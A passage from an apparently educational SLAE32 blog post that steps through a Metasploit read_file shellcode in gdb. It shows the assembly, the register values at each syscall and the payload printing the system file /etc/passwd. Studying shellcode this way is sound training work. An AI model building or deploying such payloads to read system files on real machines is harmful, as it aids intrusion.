(gdb) x/15c 0x0804a07d
0x804a07d <buf+61>:	47 '/'	101 'e'	116 't'	99 'c'	47 '/'	112 'p'	97 'a'	115 's'
0x804a085 <buf+69>:	115 's'	119 'w'	100 'd'	0 '\000'	0 '\000'	0 '\000'	0 '\000'

We can set a breakpoint before the execution of the syscall and examine the registers.

1
2
3
4
5
6
7
8
9
10
11
(gdb) break *0x0804a04a
Breakpoint 2 at 0x804a04a
(gdb) c
Continuing.

Breakpoint 2, 0x0804a04a in buf ()
(gdb) info registers
eax            0x5	5
ecx            0x0	0
edx            0xb7fbc870	-1208235920
ebx            0x804a07d	134520957

The values of the registers are the expected ones.

Syscall #2

The syscall number 3 is read (#define __NR_read 3). read reads from a file descriptor. The 3 arguments of read are: fd, buf and count. The return value from the open syscall is passed at EBX, which is the file descriptor (fd). The ECX points at the top of the stack and is the memory address of the buffer (buf) to read the file into and its size is the EDX hex value 0x1000 (4096 bytes in decimal as expected from the description of read_file).

Instructions:

1
2
3
4
5
6
   0x0804a04c <+12>:	mov    ebx,eax
   0x0804a04e <+14>:	mov    eax,0x3
   0x0804a053 <+19>:	mov    edi,esp
   0x0804a055 <+21>:	mov    ecx,edi
   0x0804a057 <+23>:	mov    edx,0x1000
   0x0804a05c <+28>:	int    0x80

We can set a breakpoint before the execution of the syscall and examine the registers.

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) break *0x0804a05c
Breakpoint 3 at 0x804a05c
(gdb) c
Continuing.

Breakpoint 3, 0x0804a05c in buf ()
(gdb) info registers
eax            0x3	3
ecx            0xbfffee0c	-1073746420
edx            0x1000	4096
ebx            0x3	3
esp            0xbfffee0c	0xbfffee0c
<snip>

The values of the registers are the expected ones again.

Syscall #3

The syscall number 4 is write (#define __NR_write 4). write writes to a file descriptor. The 3 arguments of write are: fd, buf and count again. The return value from the read syscall is passed at EDX, which is the number of bytes that were actually read. This is the value for the count argument. The ECX value is preserved from before since it’s the memory address of the buffer (buf). The value 1 is passed to EBX, since we want to write (STDOUT).

Instructions:

1
2
3
4
   0x0804a05e <+30>:	mov    edx,eax
   0x0804a060 <+32>:	mov    eax,0x4
   0x0804a065 <+37>:	mov    ebx,0x1
   0x0804a06a <+42>:	int    0x80

We can set a breakpoint before the execution of the syscall and examine the registers.

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) break *0x0804a06a
Breakpoint 4 at 0x804a06a
(gdb) c
Continuing.

Breakpoint 4, 0x0804a06a in buf ()
(gdb) info registers
eax            0x4	4
ecx            0xbfffee0c	-1073746420
edx            0x932	2354
ebx            0x1	1
esp            0xbfffee0c	0xbfffee0c
<snip>

The EDX value (2354) is the number of bytes of the “/etc/passwd” file. It’s less than 4096, so no part is cut off. Again the values of the registers are the expected.

Syscall #4

The syscall number 1 is exit (#define __NR_exit 1). exit terminates the calling process. The only argument is status and it has value 0, inside EBX.

Instructions:

1
2
3
   0x0804a06c <+44>:	mov    eax,0x1
   0x0804a071 <+49>:	mov    ebx,0x0
   0x0804a076 <+54>:	int    0x80

We can set a breakpoint before the execution of the syscall and examine the registers. The payload read_file is executed and we can see the /etc/passwd file in the screen.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) break *0x0804a076
Breakpoint 5 at 0x804a076
(gdb) c
Continuing.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
<snip>

Breakpoint 5, 0x0804a076 in buf ()
(gdb) info registers
eax            0x1	1
ecx            0xbfffee0c	-1073746420
edx            0x932	2354
ebx            0x0	0

The values of the registers are the expected and the analysis of the linux/x86/read_file payload is over!

Summary

All the payloads (chmod, exec, read_file) were analyzed thoroughly and all the described techniques were demonstrated.

Next will be the polymorphic shellcodes!

SLAE32 Blog Post

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-36167

This post is licensed under CC BY 4.0 by the author.